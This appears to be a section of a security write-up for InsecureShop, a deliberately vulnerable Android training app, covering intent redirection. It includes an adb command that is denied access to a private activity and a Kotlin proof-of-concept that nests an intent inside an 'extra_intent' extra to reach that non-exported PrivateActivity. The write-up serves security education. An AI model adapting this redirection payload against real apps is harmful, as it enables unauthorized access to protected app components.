Vulnerability #11: Intent Redirection (Access to Protected Components)
Android components with the android:exported='false' attribute can only be accessible by the app itself and can not be launched by other applications. In addition to this, if a component declaration in the android manifest does not contain the android:exported attribute, then it is considered as not exported by default. If we attempt to start a non-exported activity/component, we would get the following error:
C:\Users\Aniket\Downloads\InsecureShop-Writeup>adb shell am start -n com.insecureshop/.PrivateActivity
Starting: Intent { cmp=com.insecureshop/.PrivateActivity }
Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 cmp=com.insecureshop/.PrivateActivity } from null (pid=24911, uid=2000) not exported from uid 10480
at com.android.server.wm.ActivityStackSupervisor.checkStartAnyActivityPermission(ActivityStackSupervisor.java:1149)
at com.android.server.wm.ActivityStarter.executeRequest(ActivityStarter.java:1260)
at com.android.server.wm.ActivityStarter.execute(ActivityStarter.java:848)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1221)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1180)
at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:4104)
at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:587)
at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:209)
at android.os.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:98)
at android.os.ShellCommand.exec(ShellCommand.java:44)
at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:11543)
at android.os.Binder.shellCommand(Binder.java:929)
at android.os.Binder.onTransact(Binder.java:813)
at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5960)
at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:3288)
at android.os.Binder.execTransactInternal(Binder.java:1159)
at android.os.Binder.execTransact(Binder.java:1123)
Looking at the above code from com.insecureshop.WebView2Activity we see that the onCreate method checks first if it has received and intent that contains the parcelable extra, extra_intent. If it does, it starts the activity using the embedded intent. This is a dangerous pattern since it would allow malicious applications to start arbitrary components in the context of the vulnerable app.
MainActivity.kt
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// Normally, we shouldn't be able to access the PrivateActivity since it isn't exported
val extraIntent = Intent()
extraIntent.setClassName("com.insecureshop", "com.insecureshop.PrivateActivity")
// But because of this payload, we can start any arbitrary non-exported component that we want
val payloadIntent = Intent("com.insecureshop.action.WEBVIEW")
payloadIntent.addCategory("android.intent.category.DEFAULT")
payloadIntent.addCategory("android.intent.category.BROWSABLE")
payloadIntent.putExtra("extra_intent", extraIntent)
startActivity(payloadIntent)
}
}